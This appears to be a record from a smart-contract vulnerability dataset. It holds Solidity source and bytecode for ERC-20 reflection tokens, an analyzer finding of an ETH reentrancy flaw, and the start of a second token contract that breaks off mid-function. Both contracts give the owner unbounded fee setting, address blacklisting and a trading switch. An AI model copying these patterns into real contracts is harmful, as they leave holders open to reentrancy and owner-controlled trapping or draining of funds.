bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd79284146104f2578063c3c8cd8014610522578063dd62ed3e14610537578063ea1644d51461057d57600080fd5b806398a5c31514610462578063a2a957bb14610482578063a9059cbb146104a2578063bdd795ef146104c257600080fd5b80638da5cb5b116100d15780638da5cb5b1461040e5780638f70ccf71461042c5780638f9a55c01461044c57806395d89b41146101f357600080fd5b8063715018a6146103c357806374010ece146103d85780637d1db4a5146103f857600080fd5b80632fd689e3116101645780636b9990531161013e5780636b9990531461034e5780636d8aa8f81461036e5780636fc3eaec1461038e57806370a08231146103a357600080fd5b80632fd689e3146102fc578063313ce5671461031257806349bd5a5e1461032e57600080fd5b80631694505e116101a05780631694505e1461025d57806318160ddd1461029557806323b872dd146102bc5780632f9c4569146102dc57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461022d57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec3660046118c3565b61059d565b005b3480156101ff57600080fd5b50604080518082018252600281526133b760f11b6020820152905161022491906119f5565b60405180910390f35b34801561023957600080fd5b5061024d610248366004611897565b61063c565b6040519015158152602001610224565b34801561026957600080fd5b5060145461027d906001600160a01b031681565b6040516001600160a01b039091168152602001610224565b3480156102a157600080fd5b5069152d02c7e14af68000005b604051908152602001610224565b3480156102c857600080fd5b5061024d6102d7366004611821565b610653565b3480156102e857600080fd5b506101f16102f7366004611862565b6106bc565b34801561030857600080fd5b506102ae60185481565b34801561031e57600080fd5b5060405160098152602001610224565b34801561033a57600080fd5b5060155461027d906001600160a01b031681565b34801561035a57600080fd5b506101f16103693660046117ae565b610780565b34801561037a57600080fd5b506101f161038936600461198f565b6107cb565b34801561039a57600080fd5b506101f1610813565b3480156103af57600080fd5b506102ae6103be3660046117ae565b610840565b3480156103cf57600080fd5b506101f1610862565b3480156103e457600080fd5b506101f16103f33660046119aa565b6108d6565b34801561040457600080fd5b506102ae60165481565b34801561041a57600080fd5b506000546001600160a01b031661027d565b34801561043857600080fd5b506101f161044736600461198f565b610905565b34801561045857600080fd5b506102ae60175481565b34801561046e57600080fd5b506101f161047d3660046119aa565b61094d565b34801561048e57600080fd5b506101f161049d3660046119c3565b61097c565b3480156104ae57600080fd5b5061024d6104bd366004611897565b6109ba565b3480156104ce57600080fd5b5061024d6104dd3660046117ae565b60116020526000908152604090205460ff1681565b3480156104fe57600080fd5b5061024d61050d3660046117ae565b60106020526000908152604090205460ff1681565b34801561052e57600080fd5b506101f16109c7565b34801561054357600080fd5b506102ae6105523660046117e8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058957600080fd5b506101f16105983660046119aa565b6109fd565b6000546001600160a01b031633146105d05760405162461bcd60e51b81526004016105c790611a4a565b60405180910390fd5b60005b8151811015610638576001601060008484815181106105f4576105f4611b91565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063081611b60565b9150506105d3565b5050565b6000610649338484610a2c565b5060015b92915050565b6000610660848484610b50565b6106b284336106ad85604051806060016040528060288152602001611bd3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611053565b610a2c565b5060019392505050565b6000546001600160a01b031633146106e65760405162461bcd60e51b81526004016105c790611a4a565b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107555760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e00000000000000000060448201526064016105c7565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107aa5760405162461bcd60e51b81526004016105c790611a4a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107f55760405162461bcd60e51b81526004016105c790611a4a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461083357600080fd5b4761083d8161108d565b50565b6001600160a01b03811660009081526002602052604081205461064d906110c7565b6000546001600160a01b0316331461088c5760405162461bcd60e51b81526004016105c790611a4a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109005760405162461bcd60e51b81526004016105c790611a4a565b601655565b6000546001600160a01b0316331461092f5760405162461bcd60e51b81526004016105c790611a4a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109775760405162461bcd60e51b81526004016105c790611a4a565b601855565b6000546001600160a01b031633146109a65760405162461bcd60e51b81526004016105c790611a4a565b600893909355600a91909155600955600b55565b6000610649338484610b50565b6013546001600160a01b0316336001600160a01b0316146109e757600080fd5b60006109f230610840565b905061083d8161114b565b6000546001600160a01b03163314610a275760405162461bcd60e51b81526004016105c790611a4a565b601755565b6001600160a01b038316610a8e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c7565b6001600160a01b038216610aef5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c7565b6001600160a01b038216610c165760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c7565b60008111610c785760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c7565b6000546001600160a01b03848116911614801590610ca457506000546001600160a01b03838116911614155b15610f4657601554600160a01b900460ff16610d48576001600160a01b03831660009081526011602052604090205460ff16610d485760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105c7565b601654811115610d9a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105c7565b6001600160a01b03831660009081526010602052604090205460ff16158015610ddc57506001600160a01b03821660009081526010602052604090205460ff16155b610e345760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105c7565b6015546001600160a01b03838116911614610eb95760175481610e5684610840565b610e609190611af0565b10610eb95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105c7565b6000610ec430610840565b601854601654919250821015908210610edd5760165491505b808015610ef45750601554600160a81b900460ff16155b8015610f0e57506015546001600160a01b03868116911614155b8015610f235750601554600160b01b900460ff165b15610f4357610f318261114b565b478015610f4157610f414761108d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f8857506001600160a01b03831660009081526005602052604090205460ff165b80610fba57506015546001600160a01b03858116911614801590610fba57506015546001600160a01b03848116911614155b15610fc757506000611041565b6015546001600160a01b038581169116148015610ff257506014546001600160a01b03848116911614155b1561100457600854600c55600954600d555b6015546001600160a01b03848116911614801561102f57506014546001600160a01b03858116911614155b1561104157600a54600c55600b54600d555b61104d848484846112d4565b50505050565b600081848411156110775760405162461bcd60e51b81526004016105c791906119f5565b5060006110848486611b49565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610638573d6000803e3d6000fd5b600060065482111561112e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105c7565b6000611138611302565b90506111448382611325565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061119357611193611b91565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111e757600080fd5b505afa1580156111fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061121f91906117cb565b8160018151811061123257611232611b91565b6001600160a01b0392831660209182029290920101526014546112589130911684610a2c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611291908590600090869030904290600401611a7f565b600060405180830381600087803b1580156112ab57600080fd5b505af11580156112bf573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806112e1576112e1611367565b6112ec848484611395565b8061104d5761104d600e54600c55600f54600d55565b600080600061130f61148c565b909250905061131e8282611325565b9250505090565b600061114483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114d0565b600c541580156113775750600d54155b1561137e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806113a7876114fe565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113d9908761155b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611408908661159d565b6001600160a01b03891660009081526002602052604090205561142a816115fc565b6114348483611646565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161147991815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af68000006114a98282611325565b8210156114c75750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836114f15760405162461bcd60e51b81526004016105c791906119f5565b5060006110848486611b08565b600080600080600080600080600061151b8a600c54600d5461166a565b925092509250600061152b611302565b9050600080600061153e8e8787876116bf565b919e509c509a509598509396509194505050505091939550919395565b600061114483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611053565b6000806115aa8385611af0565b9050838110156111445760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c7565b6000611606611302565b90506000611614838361170f565b30600090815260026020526040902054909150611631908261159d565b30600090815260026020526040902055505050565b600654611653908361155b565b600655600754611663908261159d565b6007555050565b6000808080611684606461167e898961170f565b90611325565b90506000611697606461167e8a8961170f565b905060006116af826116a98b8661155b565b9061155b565b9992985090965090945050505050565b60008080806116ce888661170f565b905060006116dc888761170f565b905060006116ea888861170f565b905060006116fc826116a9868661155b565b939b939a50919850919650505050505050565b60008261171e5750600061064d565b600061172a8385611b2a565b9050826117378583611b08565b146111445760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105c7565b803561179981611bbd565b919050565b8035801515811461179957600080fd5b6000602082840312156117c057600080fd5b813561114481611bbd565b6000602082840312156117dd57600080fd5b815161114481611bbd565b600080604083850312156117fb57600080fd5b823561180681611bbd565b9150602083013561181681611bbd565b809150509250929050565b60008060006060848603121561183657600080fd5b833561184181611bbd565b9250602084013561185181611bbd565b929592945050506040919091013590565b6000806040838503121561187557600080fd5b823561188081611bbd565b915061188e6020840161179e565b90509250929050565b600080604083850312156118aa57600080fd5b82356118b581611bbd565b946020939093013593505050565b600060208083850312156118d657600080fd5b823567ffffffffffffffff808211156118ee57600080fd5b818501915085601f83011261190257600080fd5b81358181111561191457611914611ba7565b8060051b604051601f19603f8301168101818110858211171561193957611939611ba7565b604052828152858101935084860182860187018a101561195857600080fd5b600095505b838610156119825761196e8161178e565b85526001959095019493860193860161195d565b5098975050505050505050565b6000602082840312156119a157600080fd5b6111448261179e565b6000602082840312156119bc57600080fd5b5035919050565b600080600080608085870312156119d957600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611a2257858101830151858201604001528201611a06565b81811115611a34576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611acf5784516001600160a01b031683529383019391830191600101611aaa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0357611b03611b7b565b500190565b600082611b2557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b4457611b44611b7b565b500290565b600082821015611b5b57611b5b611b7b565b500390565b6000600019821415611b7457611b74611b7b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461083d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220936ea74e3aa920e79af9d1c8fa721643847a5520cab373c40c8d8a99fbec3d5064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,377 |
0x1005252977a8517ecf72e75c89474953bae83d21
|
/**
*Submitted for verification at Etherscan.io on 2022-04-09
*/
// SPDX-License-Identifier: Unlicensed
/**
We are men of our word and honorable towards the people who get involved with us.
Maintaining a code of honor distinguishes us from others.
This is a spirit(tama) that we need to pass on and abide by, because it can make us great.
▀▀█▀▀ ▒█░▒█ ▒█▀▀▀ ▒█▀▀█ ▒█▀▀▀█ ▒█▀▄▀█ ▒█▀▄▀█ ▀█▀ ▒█▀▀▀█ ▒█▀▀▀█ ▀█▀ ▒█▀▀▀█ ▒█▄░▒█ ▀▀█▀▀ ░█▀▀█ ▒█▀▄▀█ ░█▀▀█
░▒█░░ ▒█▀▀█ ▒█▀▀▀ ▒█░░░ ▒█░░▒█ ▒█▒█▒█ ▒█▒█▒█ ▒█░ ░▀▀▀▄▄ ░▀▀▀▄▄ ▒█░ ▒█░░▒█ ▒█▒█▒█ ░▒█░░ ▒█▄▄█ ▒█▒█▒█ ▒█▄▄█
░▒█░░ ▒█░▒█ ▒█▄▄▄ ▒█▄▄█ ▒█▄▄▄█ ▒█░░▒█ ▒█░░▒█ ▄█▄ ▒█▄▄▄█ ▒█▄▄▄█ ▄█▄ ▒█▄▄▄█ ▒█░░▀█ ░▒█░░ ▒█░▒█ ▒█░░▒█ ▒█░▒█
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CMSNTAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "The Commission DAO";
string private constant _symbol = "CMSNTAMA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x62D5C462186F477a5718718bE5f6b84BDbe9E9c7);
address payable private _marketingAddress = payable(0xDd2E5FC8AA268a530be5EF739D2a20EA81834547);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 6000000 * 10**9;//0.6% from total supply maxTransactionAmountTxn
uint256 public _maxWalletSize = 10000000 * 10**9;//1% from total supply maxWallet
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
